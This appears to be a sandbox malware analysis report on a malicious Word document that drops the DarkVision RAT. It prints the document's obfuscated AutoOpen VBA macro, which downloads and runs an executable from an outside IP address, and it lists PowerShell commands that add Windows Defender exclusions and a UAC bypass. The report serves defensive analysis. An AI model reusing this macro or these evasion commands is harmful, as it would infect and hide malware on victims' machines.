Jan 7, 2025 13:25:33.178292990 CET	1236	IN	Data Raw: 1b 0c 85 8a 17 91 c5 3b 24 b6 05 c5 08 c4 c2 0d 1c 8f d2 46 07 d3 05 ce 68 07 85 03 38 fa 48 ce 1c a1 f3 b6 12 ff 06 ce 9a 24 06 3b 24 b6 05 c5 08 c4 c2 0d 1c 53 8a a2 f0 2b 90 ce 1b 0c 06 8d 98 10 92 c5 ee 0c 06 ce 1b 8f d2 ba ac d3 05 cf 68 f7 Data Ascii: ;$Fh8H$;$S+h[)IEZQK(i+;$^\|u^VK)i+;$E}K)K+BK8+&6+/YH+)8+&6+6d
Jan 7, 2025 13:25:33.178316116 CET	1236	IN	Data Raw: 08 e0 c2 0d 1c 97 8a 82 f2 2a 90 51 af 91 ed c2 ee 2b 03 3b 7f b6 05 59 a0 f0 91 c5 ee bd 90 db 4f 59 48 ce 30 0e 07 ce 1b a1 2e 36 44 94 48 ce 81 0c 1e ce 1b fc 05 c5 08 08 c3 0d 1c 95 8a 6a f2 2a 90 51 b0 70 8c c4 ee 0c 1b f0 81 16 7d db f3 5d Data Ascii: Q+;YOYH0.6DHjQp}]HI+"gt'Yp'YHG5K'*U~S'V['+~K'+U+68+j8 2V:%SJ7(
Jan 7, 2025 13:25:33.178328037 CET	1236	IN	Data Raw: b0 4c 8e c5 ee 0e 07 ce 1b a0 fe 8d 58 28 06 ce 1b 0c 9d cd d6 d1 91 ce 1b 0c 06 38 1c 97 7a 96 f4 2b 90 20 ef 01 1e 93 56 0c 7d 4b e3 25 90 c5 4b 2b fa fa e0 d3 05 59 a0 58 8e c5 ee bd 90 db 27 59 48 ce 9a 69 b1 c7 ee 2b 05 3a 21 97 7a a2 f4 2b Data Ascii: LX(8z+ V}K%K+YX'YHi+:!z+ >VCV}#XXX8{JY`(L:Y`(L:Y`({L:IJJzOP\|\|6>~J\|\|C
Jan 7, 2025 13:25:33.178339958 CET	1236	IN	Data Raw: b3 0d 06 ce 1b 37 ea 59 88 d8 91 c5 ee be 90 db 63 59 48 ce 9a 69 31 c4 ee 2b 05 3a 21 97 8a 22 ee 2b 90 1e 8c 7c 75 5e 8b 7c d4 8e a2 31 32 91 df 58 c1 92 df 58 c1 1b a3 38 86 b2 5b 0e 06 ce d6 d1 91 c5 ee 2b 90 38 1c b6 03 c5 08 9c c2 0d 1c 95 Data Ascii: 7YcYHi1+:!"+\|u^\|12XX8[+8JK)?+5Y`(6_S+z+Q[)+Hj\|S)UO[)I\|u^\|uK<L+L+QL
Jan 7, 2025 13:25:33.178352118 CET	896	IN	Data Raw: a2 31 32 91 df 58 c1 92 df 58 c1 92 df 58 c1 92 df 58 c1 1b a3 38 1b c5 83 e4 ef 11 1c b0 66 ce 1b 0c 06 1e 78 95 ea ce 1b 0c 06 51 ff 14 7f 13 00 be 7c 92 a4 b1 95 b6 66 a5 06 ce a2 d9 a1 b6 5e 0f 06 ce d6 d1 91 ce 1b 0c 06 38 1c b6 05 59 60 38 Data Ascii: 12XXXX8fxQ\|f^8Y`8BYX6Y`8X(+\|BwYXX8tfxX(}4+BBwYX8tfxX(
Jan 7, 2025 13:25:33.178795099 CET	1236	IN	Data Raw: a3 c1 fd 20 04 07 00 d0 1b 8f c9 d2 50 4f c1 92 df 58 c1 1b a3 38 36 57 60 28 82 0b 24 bc 7c 13 f0 8f c6 e6 03 17 06 ce 1b 97 4a c2 a2 31 32 90 17 0c c2 1b a3 38 36 57 60 28 7c 0b f0 97 aa 23 da 10 06 1b a3 38 84 b2 23 95 42 c2 a2 d1 91 59 60 14 Data Ascii: POX86W`($\|J1286W`(\|#8#BY`YH(\|2=%SJJ12XX8#B>Y`$XY`$@JWX(\|4BLB\|4}PNXXXX

Target ID:	0
Start time:	07:25:25
Start date:	07/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x990000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:25:35
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\brightness.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\brightness.exe
Imagebase:	0x2c0000
File size:	3'184'128 bytes
MD5 hash:	9BB6B2817EF5A1367529506EAF619F0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:25:36
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:25:36
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:25:36
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Imagebase:	0x2e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:25:37
Start date:	07/01/2025
Path:	C:\ProgramData\windows\windows.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\windows\windows.exe" {D8E15931-E2AD-40B5-A4D1-41BD1741249E}
Imagebase:	0x920000
File size:	3'184'128 bytes
MD5 hash:	9BB6B2817EF5A1367529506EAF619F0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000009.00000002.4252785652.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000009.00000002.4252785652.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	07:25:40
Start date:	07/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Imagebase:	0x7ff6af4e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:25:40
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:25:40
Start date:	07/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:25:40
Start date:	07/01/2025
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\explorer.exe"
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 0000000F.00000002.4251965321.0000000002E88000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000F.00000002.4251965321.0000000002E88000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	07:25:51
Start date:	07/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}\{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}.bat" "
Imagebase:	0x7ff6af4e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:25:51
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:25:51
Start date:	07/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c start "" "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
Imagebase:	0x7ff6af4e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:25:51
Start date:	07/01/2025
Path:	C:\ProgramData\windows\windows.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
Imagebase:	0x920000
File size:	3'184'128 bytes
MD5 hash:	9BB6B2817EF5A1367529506EAF619F0F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000015.00000002.2051515991.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000015.00000002.2051515991.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True

Executed Functions

Subroutine
AutoOpenAPIs: 6, Strings: 20, Number of lines: 59, Relevance: 70.059

APIs	Meta Information
CreateObject	CreateObject("MSXML2.ServerXMLHTTP")
CreateObject	CreateObject("Adodb.Stream")
Open	IServerXMLHTTPRequest2.Open("GET","http://87.120.113.91/image.exe",False)
Send
responsebody	IServerXMLHTTPRequest2.responsebody() -> ?\xfffd\x03\x00\x04\x00?\x00\xfffd\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00????????????????4???????????$\x00\x00\x00????????????????????????????????????????????????????\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00O\x05??\x00\x00\x00\x00\xfffdAc ?\x03?\x05\x00\x00?0?\x00 \x03\x00@?\x00?\x00\x05\x01\x00\x00\x05\x01\x00\x00?0?\x00?1\x02?\x00\x10?\x00\x00\x10?\x00\x00\x00\x10\x00?0?\x00?\x08?\x00\x00\x08?\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfffd \xfffd\xfffd?\x07?\x00?\x07?\x00\x00\x00\x00\x00\x00\x00@???c\x00?\x00\x00\x08?\x00\x00\x08\x00\x00\x00\x00\x00\x00@????\xfffd?\x00?\x08?\x00?\x08\x00\x00\x00\x00\x00\x00@??????( \x08?(?\x08\x00\x00\x00\x00\x00\x00@??????\x00?0?\x00?0\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?????????????????????????????????????????????????O?????????????????????????????????????????????????????????????????????????????????????????????d?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????C?????????????????????????????????????L?????????????L??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????{??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????7?????????????+????????????????????????????????????:??????????????????????????????????????c???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????\xfffd???????????????????????????????????????????????????????????????????????????????????????????????8?????????????????????????????????????C?????????????????O?????????????????????????????????????????????????????????????????????????????????O????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????6???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Shell	Shell(""brightness.exe"") -> 7888

Strings	Decrypted Strings
"M""S""X""M""L""2"".""S""er""ver""XM""LH""TTP"
"Ad""od""b.S""tr""ea""m"
"h"
"t"
"t""p:/""/87.120.113.91/image"
"."
"e"
"x"
"e"
"GET"
"brightness"
"."
"e"
"x"
"e"
"""brightness"
"."
"e"
"x"
"e"""

Line	Instruction	Meta Information
9	Sub AutoOpen()
11	Dim xHttp	executed
16	Set xHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "S" & "er" & "ver" & "XM" & "LH" & "TTP")	CreateObject("MSXML2.ServerXMLHTTP") executed
18	Dim bStrm
20	Set bStrm = CreateObject("Ad" & "od" & "b.S" & "tr" & "ea" & "m")	CreateObject("Adodb.Stream") executed
24	Dim nirm1
25	nirm1 = "h"
26	Dim nirm2
27	nirm2 = "t"
28	Dim nirm3
29	nirm3 = "t" & "p:/" & "/87.120.113.91/image"
30	Dim nirm4
31	nirm4 = "."
32	Dim nirm5
33	nirm5 = "e"
34	Dim nirm6
35	nirm6 = "x"
36	Dim nirm7
37	nirm7 = "e"
41	Dim plpl
42	plpl = nirm1 & nirm2 & nirm3 & nirm4 & nirm5 & nirm6 & nirm7
45	xHttp.Open "GET", plpl, False	IServerXMLHTTPRequest2.Open("GET","http://87.120.113.91/image.exe",False) executed
46	xHttp.Send	Send
52	With bStrm
53	. Type = 1
54	. Open
55	. write xHttp.responsebody	IServerXMLHTTPRequest2.responsebody() -> ?\xfffd\x03\x00\x04\x00?\x00\xfffd\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00????????????????4???????????$\x00\x00\x00????????????????????????????????????????????????????\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00O\x05??\x00\x00\x00\x00\xfffdAc ?\x03?\x05\x00\x00?0?\x00 \x03\x00@?\x00?\x00\x05\x01\x00\x00\x05\x01\x00\x00?0?\x00?1\x02?\x00\x10?\x00\x00\x10?\x00\x00\x00\x10\x00?0?\x00?\x08?\x00\x00\x08?\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfffd \xfffd\xfffd?\x07?\x00?\x07?\x00\x00\x00\x00\x00\x00\x00@???c\x00?\x00\x00\x08?\x00\x00\x08\x00\x00\x00\x00\x00\x00@????\xfffd?\x00?\x08?\x00?\x08\x00\x00\x00\x00\x00\x00@??????( 